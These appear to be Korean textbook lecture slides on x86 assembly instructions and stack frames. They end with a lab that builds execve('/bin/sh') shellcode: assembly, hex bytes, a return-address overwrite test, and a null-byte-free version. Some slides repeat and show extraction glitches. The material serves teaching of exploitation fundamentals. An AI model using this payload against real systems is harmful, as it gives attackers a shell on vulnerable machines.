어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 스트링 명령 : 바이트로 구성된 스트링(strings of bytes)을 메모리 내에서 전송 REP(Repeat) : ADD나 MOVS와 같은 작동 코드의 앞에 위치, CX가 0이 될 때까지 뒤에 오는 스트링 명령 반복 MOVS(Move String) : 바이트나 워드, 더블워드 옮기는 명령 MOVSB, MOVSW, MOVSD 가 있다 DS:SI가 지시한 메모리 데이터를 ES :DI가 지시한 메모리로 전송 형식 REP 작동코드 - 형식 MOVSB 사용예 CLD LEA SI, String_1 LEA DI, String_2 MOV CX, 384 REP MOVSB - CLD (Clear Direction) : 디렉션 플래그를 지움 - LEA SI, String_1 : String 1의 주소 값을 SI(Source Index)에 저장 - LEA DI, String_2 : String 2의 주소 값을 DI(Destination Index)에 저장 - MOV CX, 384 : CX에 384 저장 - REP MOVSB : SI로부터 DI까지 CX가 0이 될 때까지 1바이트씩 복사

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 기타 스트리밍 [표 2-10] 기타 스트링 명령 명령문 설명 CMPS Compare String DS: SI와 ES: DI의 내용을 비교한 결과에 따라 플래그를 설정한다. SCAS Scan String AL 또는 AX와 ES:DI가 지시한 메모리 내용을 비교한 결과에 따라 플래그를 설정한다. LODS Load String SI 내용을 AL 또는 AX로 로드한다. STOS Store String AL 또는 AX를 ES: DI가 지시하는 메모리에 저장한다.

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 제어 전송 명령 : 점프(분기, Jump), 조건 점프(조건 분기, Conditional jump), 루프(Loop), 호출(Call)과 리턴(Return) 연산 등으로 프로그램의 흐름 제어 JMP(Unconditional Jump) : 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동 형식 JMP [제1피연산자] 사용 예 JMP 100h 주소로 직접 지정한 100h번지로 점프한다. string: MOV CX, 384 ... JMP string 라벨로 JMP를 지정하는 경우다.

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 [표 2-11] 조건부 점프 명령 명령 점프 조건 설명 JC carry flag set CF = 1 CF 값이 1이면 점프 JNC not carry flag set CF = 0 CF 값이 0 이면 점프 JE/JZ Equal / Zero ZF = 1 결과가 0이면 점프 JA/JNBE above/not below nor equal CF = 0 and ZF = 0 결과가 크면 점프(부호화 안된 수) JAE/JNB above or equal/not below CF = 0 결과가 크거나 같으면 점프(부호화 안된 수) JB/JNAE below/not above nor equal CF = 1 결과가 작으면 점프(부호화 안된 수) JL/JNGE less/not greater nor equal SF ! = OF 결과가 작으면 점프(부호화된 수) JBE/JNA below or equal/not above (CF or ZF) = 1 결과가 작거나 같으면 점프(부호화 안된 수) JG/JNLE greater/not less nor equal ZF = 0 and SF = OF JGE/JNL greater or equal/not less SF = OF 결과가 크거나 같으면 점프(부호화된 수)

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 [표 2-11] 조건부 점프 명령 * above, below : 부호 없는 두 수의 크기 관계 * greater, less : 부호 있는 두 수의 크기 관계 명령 점프 조건 설명 JLE/JNG less or equal/not greater ZF = 1 or SF ! = OF 결과가 작거나 같으면 점프(부호화 안된 수) 결과가 0이 아니면 점프 JNE/JNZ not equal/not zero ZF = 0 JNOnot overflowOF=0오버플로우가 아닌 경우 점프 JNP/JPO not parity/parity odd PF = 0 PF가 1이면 점프 JNS not sign SF = 0 SF가 1이면 점프 JO overflow OF = 1 오버플로우 발생 시 점프 JP/JPE parity/parity even PF = 1 JS Sign SF = 1 JCXZ CX Zero CX = 0 CX가 0이면 점프

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 CALL(Call) : JMP처럼 함수 호출할 때 사용, 제1피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 ‘PUSH EIP + JMP’와 같은 의미 RET(Return from CALL) : 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 ‘POP EIP’와 같은 의미 CALL과 RET의 예. 가정, AX에는 0x08h 값이 저장 SUBR 함수 호출하면, SUBR 라벨이 있는 곳에서 RET까지 실행. INC AX가 있으므로 AX는 0x09h RET 명령이 실행되면 CALL 다음 라인인 ‘ADD AX, 10h’ 실행 AX는 0x19h 형식 CALL [제1피연산자] RET CALL SUBR ADD AX, 10h ... SUBR : INC AX .... RET

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 LOOP(Loop CX times) : 문장들의 블록을 지정된 횟수만큼 반복. CX는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소 INT(Interrupt) : 인터럽트가 호출되면 CS:IP(Code Segment : Instruction Pointer)와 플래그를 스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행 형식 LOOP [제1피연산자] 사용 예 MOV AX, 0 MOV CX, 5 L1 : INC AX LOOP L1 제1피연산자는 라벨이 된다. 예에서 L1이 CX의 숫자만큼 5번 회전하므로, 결과적으로 AX는 5가 된다. 형식 INT [제1피연산자]

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 기타 제어 전송 명령 INT(Interrupt) : 인터럽트가 호출되면 CS:IP(Code Segment : Instruction Pointer)와 플래그를 스택에 저장, 그 인터럽트에 관련된 서브 루틴이 실행 형식 LOOP [제1피연산자] 사용 예 MOV AX, 0 MOV CX, 5 L1 : INC AX LOOP L1 제1피연산자는 라벨이 된다. 예에서 L1이 CX의 숫자만큼 5번 회전하므로, 결과적으로 AX는 5가 된다. 형식 INT [제1피연산자]

어셈블리어의 기본 문법과 명령 어셈블리어의 기본 명령 프로세스 제어 명령 [표 2-13] 기타 프로세스 제어 명령 STC(Set Carry) : 명령은 피연산자 없이 사용, EFLAGS 레지스터의 CF 값을 세을 세팅 -NOP(No Operation) : 아무 의미 없는 명령, 일종의 빈 칸을 채우려고 사용 기타 프로세스 제어 명령 [표 2-13] 기타 프로세스 제어 명령 명령 설명 CLC Clear Carry 캐리 플래그를 클리어한다. CMC Complement Carry 캐리 플래그를 반전한다. HLT Halt 정지한다. CLD Clear Direction 디렉션 플래그를 클리어한다. CLI Clear Interrupt 인터럽트 플래그를 클리어한다. STD Set Direction 디렉션 플래그를 세트한다. STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다. WAIT Wait 프로세스를 일시 정지 상태로 한다. ESC Escape to External device 종료 명령이다.

실습 2-1 어셈블리어 프로그램 작성하고 실행하기 MASM32 설치 : 라이브러리를 제공하는MASM32 설치 [그림 2-22] MASM32 다운로드와 설치 • 실습 환경 : 윈도우 XP • 필요 프로그램 : MASM32 SDK, WINASM 실습환경 1

실습 2-1 어셈블리어 프로그램 작성하고 실행하기 WINASM 설치 : 에디터인 WINASM를 설치 [그림 2-23] WINASM 다운로드와 경로 설정 2

실습 2-1 어셈블리어 프로그램 작성하고 실행하기 프로젝트 생성 : WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택 [그림 2-24] 새 프로젝트 생성 3

실습 2-1 어셈블리어 프로그램 작성하고 실행하기 어셈블리어 프로그램 작성(1) 4 .486 ; 32비트 모드임을 알려준다. .model flat, stdcall ; 메모리 모델을 알려준다. ; 라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\include\masm32.inc include \masm32\include\gdi32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\masm32.lib includelib \masm32\lib\gdi32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib

실습 2-1 어셈블리어 프로그램 작성하고 실행하기 어셈블리어 프로그램 작성(2) 4 .code ; MASM이 시작됨을 알려준다. start: ; 코드의 시작점(Entry Point) call main ; main 함수를 호출한다. Exit main proc ; main 함수 mov eax, 100 ; 100을 EAX 레지스터에 저장한다. mov ecx, 250 ; 250을 ECX 레지스터에 저장한다. add ecx, eax ; ECX에 EAX 값을 더한다. mov eax, 300 ; 300을 EAX 레지스터에 저장한다. cmp eax, ecx ; EAX와 ECX를 비교한다. je equal ; EAX와 ECX가 같으면 "equal"로 점프 jg bigger ; EAX가 ECX보다 크면 "bigger"로 점프 jl smaller ; EAX가 ECX보다 작으면 "smaller"로 점프

실습 2-1 어셈블리어 프로그램 작성하고 실행하기 어셈블리어 프로그램 작성(3) 4 equal: print chr$("EAX와 ECX는 같습니다.") jmp over ; "over"로 점프한다. bigger: print chr$("EAX가 ECX보다 큽니다.") jmp over smaller: print chr$("EAX가 ECX보다 작습니다.") over: ret ; return main endp ; main 함수를 끝낸다. end start ; MASM 프로그램을 끝낸다.

실습 2-1 어셈블리어 프로그램 작성하고 실행하기 컴파일 : 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고, [Make]-[Link] 메뉴를 선택하면exe 파일이 생성 [그림 2-25] 컴파일 5

실습 2-1 어셈블리어 프로그램 작성하고 실행하기 실행 : [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이AMS_TEST.obj와 AMS_TEST.exe파일이 생성, AMS_TEST.exe파일을 실행 해보자 [그림 2-26] 실행 6

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어 처리하는 과정을 이해. 리눅스에서는 어셈블리어가 AT&T 문법으로 사용되어 제1피연산자와 제2피연산자의 위치가 반대 SAMPLE.C 의 어셈블리어 코드 획득(1) • 실습 환경 : 레드햇 리눅스 6.2 • 필요 프로그램 : gcc, gdb 실습환경 1 sample.c void main() { int c; c=function(1, 2); } int function(int a, int b){ char buffer[10]; a=a+b; return a;

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 SAMPLE.C 의 어셈블리어 코드 획득(2) 레드햇 리눅스 6.2에서 컴파일 1 gcc -S -o sample.a sample.c vi sample.a sample.a .file "sample.c" .version "01.01" gcc2_compiled.: .text .align 4 .globl main .type main,@function main: pushl %ebp ➊ movl %esp,%ebp ➋ subl $4,%esp ➌ pushl $2 ➍ pushl $1 ➎ call function ➏ addl $8,%esp 􂂦 movl %eax,%eax 􂂧 17 18

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 SAMPLE.C 의 어셈블리어 코드 획득(3) 1 movl %eax,-4(%ebp) 􂂨 .L1: leave 􂂩 ret .Lfe1: .size main,.Lfe1-main .align 4 .globl function .type function,@function function: pushl %ebp ➐ movl %esp,%ebp ➑ subl $12,%esp ➒ movl 12(%ebp),%eax ➓ addl %eax,8(%ebp) 􂂠 movl 8(%ebp),%edx 􂂡 movl %edx,%eax 􂂢 jmp .L2 􂂣 .p2align 4,,7 .L2: leave 􂂤 ret 􂂥 .Lfe2: .size function,.Lfe2-function .ident "GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)" 19 20 21 11 12 13 14 15 16

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 셀 기본 코드 분석 ➊ pushl %ebp 최초의 프레임 포인터(ebp) 값 스택에 저장 ebp 바로 전에 ret가 저장 ebp는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp를 SFP(Saved Frame Pointer)라고 부른다 ret(returnaddress)에는 함수 종료시 점프할 주소값 저장 2

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 ➋ movl %esp, %ebp 현재의 esp 값을 EBP 레지스터에 저장 push %ebp와 %esp, %ebp는 새로운 함수를 시작할 때 항상 똑같이 수행하는 명령으로 프롤로그(Prologue)라고 부른다.

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 ➌ subl $4, %esp : 스택에 4바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 ➍ pushl $2 : ➍∼➏ 세 단계는 function(1, 2)에 대한 코드다. ➎ pushl $1 ➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 ➐ pushl %ebp : 현재 레지스터의ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 ➑ movl %esp,%ebp : function(1, 2)의 시작에서도 pushl %ebp 명령과 movl%esp,%ebp이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 ➒ subl $12,%esp : char buffer[10] 할당. 스택에 12바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 ➓ movl 12(%ebp),%eax : ebp에 12바이트를 더한 주소 값의 내용(정수 2)을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 addl %eax,8(%ebp) : ebp에 8바이트를 더한 주소 값의 내용(정수 1)에 eax(단계 10에서 2로 저장됨) 값을 더한다 11

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 movl 8(%ebp),%edx : ebp에8바이트 더한 주소 값의 내용(정수3)을edx에 저장 12

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기 movl %edx,%eax : edx에 저장된 정수 3을 eax로 복사 jmp .L1 : L1로 점프한다. leave : 함수를 끝낸다. ret : function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값([그림 2-27]에서 저장된 최초 ebp 값)으로 EBP 레지스터 값 변경 addl $8,%esp : esp에8바이트를 더한다 movl %eax,%eax : eax 값을eax로 복사 movl %eax,-4(%ebp) : ebp에서4바이트를 뺀 주소 값(int c)에eax 값을 복사 leave ret 13 14 15 16 17 18 19 20 21

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데, 코드는 스택에서 직접 실행될 수 있도록 기계어로 바꾸어 사용 셀 기본 코드 획득 • 실습 환경 : 레드햇 리눅스 6.2 • 필요 프로그램 : gcc, gdb 실습환경 1 shell.c #include <stdio.h> #include <unistd.h> int main(){ char *name[2]; name[0] = "/bin/sh"; name[1] = 0; execve(name[0], name, NULL); } gcc -o shell shell.c gdb shell disass main

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 획득 1 shell.o 0x8048198 <main>: push %ebp ➊ 0x8048199 <main+1>: mov %esp,%ebp ➋ 0x804819b <main+3>: sub $0x8,%esp ➌ 0x804819e <main+6>: movl $0x8071548,0xfffffff8(%ebp) ➍ 0x80481a5 <main+13>: movl $0x0,0xfffffffc(%ebp) ➎ 0x80481ac <main+20>: push 0x0 ➏ 0x80481ae <main+22>: lea 0xfffffff8(%ebp),%eax ➐ 0x80481b1 <main+25>: push %eax ➑ 0x80481b2 <main+26>: mov 0xfffffff8(%ebp),%eax ➒ 0x80481b5 <main+29>: push %eax ➓ 0x80481b6 <main+30>: call 0x804d02c <__execve> 􂂠 0x80481bb <main+35>: add $0xc, %esp 􂂡 0x80481be <main+38>: l eave 11 12 13

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 ➊ 0×8048198 <main> : push %ebp ➋ 0×8048199 <main+1> : mov %esp,%ebp ➌ 0×804819b <main+3> : sub $0x8,%esp 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 ➍ 0×804819e <main+6> : movl $0x8071548,0xfffffff8(%ebp) ebp에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548 값을 저장 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 ➎ 0×80481a5 <main+13> : movl $0x0,0xfffffffc(%ebp) ebp에서 0xfffffffc(-4) 거리에 있는 주소에0x0 값을 저장 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 ➏ 0×80481ac <main+20> : push 0x0 execve(name[0], name, NULL) 부분 중 마지막 인수 값(NULL)을 스택에 저장 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 ➐ 0×80481ae <main+22> : lea 0xfffffff8(%ebp), %eax lea(Load Effective Address)명령은 -8(%ebp) (0x08071548)의 주소(0xbfffe830)를 %eax 값에 저장 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 ➑ 0×80481b1 <main+25> : push %eax eax 값(0xbfffe830)을 스택에 저장 execve(name[0], name, NULL) 부분 중 두 번째 인수name에 대한 값 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 ➒ 0×80481b2 <main+26> : mov 0xfffffff8(%ebp),%eax eax의ebp에서 0xffff fff8(-8) 거리에 있는 주소 값(0x08071548)을 저장 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 ➓ 0×80481b5 <main+29> : push %eax 스택에 eax 값을 저장. 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 /bin/sh 문자열이 있는 곳에 대한 주소 값이다 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 0×80481b6 <main+30> : call 0x804d02c <__execve> execve에 대한 인수를 모두 스택에 저장했으므로 execve를 호출 2 11 disass execve 0x804d02c <__execve>: push %ebp 0x804d02d <__execve+1>: mov %esp,%ebp 0x804d02f <__execve+3>: push %edi 0x804d030 <__execve+4>: push %ebx 0x804d031 <__execve+5>: mov 0x8(%ebp),%edi 0x804d034 <__execve+8>: mov $0x0,%eax 0x804d039 <__execve+13>: test %eax,%eax 0x804d03b <__execve+15>: je 0x804d042 <__execve+22> 0x804d03d <__execve+17>: call 0x0 0x804d042 <__execve+22>: mov 0xc(%ebp),%ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 0×804d02c <__execve>: push %ebp 0×804d02d <__execve+1>:mov %esp,%ebp 2 0x804d045 <__execve+25>: mov 0x10(%ebp),%edx 0x804d048 <__execve+28>: push %ebx 0x804d049 <__execve+29>: mov %edi,%ebx 0x804d04b <__execve+31>: mov $0xb,%eax 0x804d050 <__execve+36>: int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 0×804d02f <__execve+3>: push %edi 0×804d030 <__execve+4>: push %ebx 스택에 EDI(DI : Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi는 0이고, ebx는 현재의‘Base’값으로 0xbfffe504 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 0×804d031 <__execve+5>: mov 0x8(%ebp),%edi ebp에서 8바이트 상위 주소의 값을 edi에 저장 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 0×804d034 <__execve+8>: mov $0x0,%eax, eax 값을 0으로 초기화. 0×804d039 <__execve+13>: test %eax,%eax and와 같은 명령으로, eax 값을 0으로 확인 0×804d03b <__execve+15>: je 0x804d042 <__execve+22> je(Jump if Equal) 0x804d042와 <__execve+22> 주소 일치하면 0x804d042로 점프 0×804d03d <__execve+17>: call 0x0 0×804d042 <__execve+22>: mov 0xc(%ebp),%ecx 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 0×804d045 <__execve+25>: mov 0x10(%ebp),%edx, 16(ebp) 값을 edx에 저장 [그림 2-48] execve+25까지 실행 시 스택의 구조 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 0×804d048 <__execve+28>: push %ebx, 스택에 ebx 값 저장 0×804d049 <__execve+29>: mov %edi,%ebx, edi에는 /bin/sh 문자열에 대한 주소 값(0x08071548)이 저장되어 있으며, 이 값을 EBX 레지스터에 저장 0×804d04b <__execve+31>: mov $0xb,%eax EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0×804d050 <__execve+36>: int $0x80 시스템 호출(int $0x80) 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 코드 기본 분석 0×804d049 <__execve+29>: mov %edi,%ebx, edi에는 /bin/sh 문자열에 대한 주소 값 (0x08071548)이 저장되어 있으며, 이 값을EBX 레지스터에 저장 0×804d04b <__execve+31>: mov $0xb,%eax, EAX 레지스터에 시스템 호출 위한 값 0xb 저장 0×804d050 <__execve+36>: int $0x80시스템을 호출(int $0x80 2

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 정리 ➊ NULL 문자로 종료되는 /bin/sh 문자열을 임의의 메모리에 위치 ➋ 워드 길이의 null이 뒤따르는 /bin/sh 문자열의 주소를 메모리의 어딘가에 위치 ➌ 0xb를EAX 레지스터에 저장 ➍ /bin/sh 문자열의 주소를 저장한 곳의 주소(즉, 주소의 주소)를EBX 레지스터에 복사 ➎ /bin/sh 문자열의 주소를ECX 레지스터에 복사 ➏ 워드 길이의 null의 주소를EDX 레지스터에 복사 ➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가 ➑ 0x1을EAX 레지스터에 복사한다. ➒ 0x0을EBX 레지스터에 복사한다. ➓ int $0x80 명령을 실행한다. 3 #include <stdlib.h> int main(){ exit(0); }

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 재코딩 ➊ NULL 문자로 종료되는 /bin/sh 문자열을 임의의 메모리에 위치 ➋ 워드 길이의 null이 뒤따르는 /bin/sh 문자열의 주소를 메모리의 어딘가에 위치 ➌ 0xb를EAX 레지스터에 저장 ➍ /bin/sh 문자열의 주소를 저장한 곳의 주소(즉, 주소의 주소)를EBX 레지스터에 복사 ➎ /bin/sh 문자열의 주소를ECX 레지스터에 복사 ➏ 워드 길이의 null의 주소를EDX 레지스터에 복사 4 movb $0x0, [0x0, 1 바이트에 대한 주소] movl $0x0, [NULL에 대한 주소] movl $0xb,%eax movl [/bin/sh 문자열의 주소], %ebx leal [/bin/sh 문자열의 주소] %ecx leal [NULL 문자열의 주소] %edx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 재코딩 ➐ int $0x80 명령을 실행 ➑ 0x1을EAX 레지스터에 복사 ➒ 0x0을EBX 레지스터에 복사 ➓ int $0x80 명령을 실행 4 int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 재코딩 4 movl [/bin/sh 문자열이 저장된 주소], [/bin/sh 문자열이 저장된 주소에 대한 포인터] movb $0x0, [0x0, 1바이트에 대한 주소] movl $0x0, [NULL에 대한 주소] movl $0xb,%eax movl [/bin/sh 문자열의 주소], %ebx leal [/bin/sh 문자열의 주소] %ecx leal [NULL 문자열의 주소] %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가. 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록 하기 위해 IP(Instruction Pointer) 사용 4 jmp [점프할 주소] popl %esi movl %esi, [/bin/sh 문자열의 주소에 대한 오프셋](%esi) movb $0x0, [0x0 값에 대한 오프셋](%esi) movl $0x0, [NULL의 주소 값에 대한 오프셋](%esi) movl $0xb, %eax movl %esi, %ebx leal [/bin/sh의 주소에 대한 오프셋](%esi), %ecx leal [NULL의 주소 값에 대한 오프셋](%esi), %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx call [popl에 대한 오프셋] .string \"/bin/sh\"

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 재코딩 IP를 사용하기 위해서는 각 명령어의 크기를 확인 [표 2-14] 각 명령의 크기와 오프셋 4 명령 크기 누적 값 jmp [점프할 주소] 2바이트 popl %esi 1바이트 3바이트 movl %esi, [/bin/sh 문자열의 주소에 대한 오프셋](%esi) 6바이트 movb $0x0, [0x0 값에 대한 오프셋](%esi) 4바이트 10바이트 movl $0x0, [NULL의 주소 값에 대한 오프셋](%esi) 7바이트 17바이트 movl $0xb, %eax 5바이트 22바이트 movl %esi, %ebx 24바이트 leal [/bin/sh 문자열의 주소에 대한 오프셋](%esi), %ecx 27바이트 leal [NULL의 주소 값에 대한 오프셋](%esi), %edx 30바이트 int $0x80 32바이트 movl $0x1, %eax 37바이트 movl $0x0, %ebx 42바이트 44바이트 call [popl에 대한 문자열] 49바이트 .string \"/bin/sh\" 8바이트 57바이트

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 재코딩 call의 앞주소 44바이트에 jmp의 2바이트를 뺀 42의 16진수 값이 a call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장 0x8, 0x7, 0xc는각execve의 인수에 대한 오프셋 값으로 4 jmp 0x2a popl %esi movl %esi, 0x8(%esi) movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi) movl $0xb, %eax movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx call -0x2f

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 셀 기본 코드 재코딩 call 명령의 0x2f는 call 명령어까지의 전체 누적 크기인 49바이트에서 jmp의 2바이트를 뺀값(47=0x2f)으로, call-0x2f 명령은 popl 라인 호출 C언어 프로그램으로 다시 바꾸면 다음과 같다. 4 .string \"/bin/sh\" asmshell.c void main(){ __asm__(" jmp call shell: popl %esi movl %esi, 0x8(%esi) movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi) movl $0xb, %eax movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx call: call shell .string \"/bin/sh\" "); }

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 [표 2-14]는 코드를 컴파일 하여 GDB에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자 [그림 2-51] asmshell의 disass main 명령 결과 5 gcc -o asmshell -g -ggdb asmshell.c gdb asmshell disass main x/bx main+3

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 [표 2-14] 기계어로 변경한 어셈블리어 코드 5 어셈블리어 코드 바이트 기계어 jmp 0x2a 2 \xeb\x2a popl %esi 1 \x5e movl %esi, 0x8(%esi) 3 \x89\x76\x08 movb $0x0, 0x7(%esi) 4 \xc6\x46\x07\x00 movl $0x0, 0xc(%esi) 7 \xc7\x46\x0c\x00\x00\x00\x00 movl $0xb, %eax 5 \xb8\x0b\x00\x00\x00 movl %esi, %ebx \x89\xf3 leal 0x8(%esi), %ecx \x8d\x4e\x08 leal 0xc(%esi), %edx \x8d\x56\x0c int $0x80 \xcd\x80 movl $0x1, %eax \xb8\x01\x00\x00\x00 movl $0x0, %ebx \xbb\x00\x00\x00\x00 call -0x2f \xe8\xd1\xff\xff\xff .string \"/bin/sh\" 8 \x2f\x62\x69\x6e\x2f\x73\x68

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 기계어 코드를 main 함수의RET 주소에 작성 컴파일하고 실행 5 shelltest.c char shell[ ]= "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68"; void main( ){ int *ret; ret = (int *)&ret+2; (*ret)=(int)shellcode; } gcc -o shelltest -g -ggdb shelltest.c ./shelltest

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 [그림 2-52] shelltest의 실행 결과 셸을 얻기 위한 기계어 코드 획득에 성공. 0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00이 생기는 어셈블리어코드를 조금 바꾸어 0x00과 같은 바이트가 생성되지 않도록 해야 함 5

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기 [표 2-15] 0x00을 없애기 위한 코드 변경 5 변환 전 코드 변환 후 코드 movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi) xor l %eax, %eax movb %eax, 0x7(%esi) movl %eax, 0xc(%esi) movl $0xb, %eax movb $0xb, %al movl $0x1, %eax movl $0x0, %ebx xorl %ebx, %ebx movl %ebx, %eax inc %eax \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68